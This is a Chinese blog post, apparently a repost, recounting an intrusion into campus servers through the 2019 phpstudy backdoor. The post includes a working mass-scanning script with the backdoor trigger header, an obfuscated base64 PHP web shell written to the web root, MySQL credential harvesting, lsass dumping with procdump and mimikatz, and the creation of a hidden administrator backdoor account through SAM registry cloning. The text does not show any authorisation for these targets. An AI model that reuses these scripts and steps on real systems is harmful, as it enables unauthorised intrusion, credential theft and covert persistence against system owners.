记一次phpstudy后门引发的渗透测试

2019-10-15 约 255 字 预计阅读 2 分钟

声明:本文 【记一次phpstudy后门引发的渗透测试】 由作者 道萝岗特森 于 2019-10-15 09:19:11 首发 先知社区 曾经 浏览数 791 次

感谢 道萝岗特森 的辛苦付出!

前段时间 phpstudy 被爆出存在后门,想到学校里的许多站都是用 phpstudy 做的环境,于是写了个脚本扫描了下,发现真的有中招的

phpstudy 后门扫描

写了个简单的脚本

import requests
import threading

# f = open("ip.txt",'w')
def test(ip):
    url = "http://{}:80/index.php".format(ip)
    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3", "Accept-Language": "zh,zh-TW;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6", "Accept-Charset": "ZWNobyAiZGFvbGd0cyI7", "Accept-Encoding": "gzip,deflate", "Connection": "close"}
    try:
        r = requests.get(url, headers=headers)
        if "daolgts" in r.content:
            # f.write(ip+"\n")
            print "[+] found\t"+ip
        # else:
            # print "[-] nope\t"+ip
    except:
        pass
        # print "[-] nope\t"+ip

thread=[]
for _ in range(1,256):
    print "[-] ip :"+_+"next..."
    for i in range(1,256):
        ip = "192.168."+str(_)+"."+str(i)
        t=threading.Thread(target=test,args=(ip,))
        thread.append(t)
        t.start()

for x in thread:
    t.join()

最后只有一个 ip 能够利用

getshell

根据 payload 可以执行任意的 php 代码

getcwd() 看下位置

var_dump(getcwd());

dmFyX2R1bXAoZ2V0Y3dkKCkpOw==

string(12) "C:\phpStudy2"
var_dump(scandir("C:\phpStudy2"));
var_dump(scandir("C:\phpStudy2\PHPTutorial"));
var_dump(scandir("C:\phpStudy2\PHPTutorial\WWW"));

找到网站目录 C:\phpStudy2\PHPTutorial\WWW

然后 file_put_contents 写个马

file_put_contents("C:\phpStudy2\PHPTutorial\WWW",base64_decode("PD9waHAgJGRHcWE9Y3JlYXRlX2Z1bmN0aW9uKGNocig0OTUtNDU5KS5iYXNlNjRfZGVjb2RlKCdjdz09JykuY2hyKDA0MTUtMDIzNikuc3RyX3JvdDEzKCd6JykuY2hyKDUyNzIyLzUyMiksc3RyX3JvdDEzKCdyJykuYmFzZTY0X2RlY29kZSgnZGc9PScpLmNocig5OTktOTAyKS5jaHIoMHhjNzIwLzB4MWQ4KS5iYXNlNjRfZGVjb2RlKCdLQT09JykuY2hyKDAxMDMzLTA3NjcpLmJhc2U2NF9kZWNvZGUoJ2N3PT0nKS5jaHIoMHgzMWMtMHgyYWQpLmJhc2U2NF9kZWNvZGUoJ2JRPT0nKS5jaHIoNDUxNDcvNDQ3KS5jaHIoMHg5NjExLzB4M2E5KS5iYXNlNjRfZGVjb2RlKCdPdz09JykpOyRkR3FhKGJhc2U2NF9kZWNvZGUoJ05UTXlNJy4nVE16TzAnLidCbGRrRicuJ3NLQ1JmJy4nJy5jaHIoODI2MjAvOTcyKS5zdHJfcm90MTMoJ1InKS5jaHIoMHhkNi0weDlkKS5zdHJfcm90MTMoJ0cnKS5iYXNlNjRfZGVjb2RlKCdWZz09JykuJycuJycuY2hyKDB4MmE0LTB4MjVlKS5zdHJfcm90MTMoJ2cnKS5iYXNlNjRfZGVjb2RlKCdVUT09JykuY2hyKDA0NTE0MC8wMzQwKS5jaHIoMHg0ZjZmLzB4MTlmKS4nJy4ncERTSEInLidYVUYwcCcuJ096RTFPJy4nVFl6T1QnLidrNycuJycpKTs/Pg=="));

这里使用了蚁剑的插件生成shell,配合蚁剑连接使用

成功连接

继续搞

emmm,直接就是 administrator 了,也没有内网环境,后来发现是一台虚拟机,枯燥。。

看下端口

发现开启了 330698333306 是 mysql ,这个 9833 应该就是修改了的 3389 的端口

mysql 的密码在 config.php 中能找到,而且是 root 用户

使用蚁剑连接,在数据库中发现网站后台的管理员密码

然后目标转向 9983

kali 下使用 rdesktop 有问题

windows 里 mstsc.exe 可以正常连接

然后抓下密码,先传个 procdump64.exe,执行

procdump64.exe -accepteula -ma lsass.exe 1.dmp

得到 1.dmp ,使用 mimikatz.exe

sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full

emmm,不知道为什么抓不到密码,也尝试了传 mimikatz.exe 直接读,同样失败

既然已经拿到了 administrator 权限,直接添加一个后门用户吧

net user defaultuser0$ somepasswordhere /add /y
net localgroup administrators defaultuser0$ /add
net localgroup "remote desktop users" defaultuser0$ /add

使用该账号密码,成功登录

用户名后添加 $ 在 cmd 里使用 net user 查看时是可以隐藏的,但在图形界面下还是会显示

接下来操作注册表,使这个账户在图形界面中也不显示

输入 regedit 打开注册表编辑器,找到 HKEY_LOCAL_MACHINE\SAM\SAM,右键点击权限,将读写权限赋予 administrator

找到后门用户和 administrator 用户对应的目录

将 administrator 对应目录中的F值复制到后门用户对应目录中的F值

复制完成后,把 defaultuser0$ 和其对应的 0000003EA 目录导出并保存

然后删除刚才的后门用户

net user defaultuser0$ /del

然后重新导入注册表,这样就添加了一个隐藏的用户,使用 defaultuser0$ 和密码就能登陆为 administrator

事后

发现登着 tim 呢,找到 qq 号,进行亲切友好的交谈

关键词:[‘渗透测试’, ‘渗透测试’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now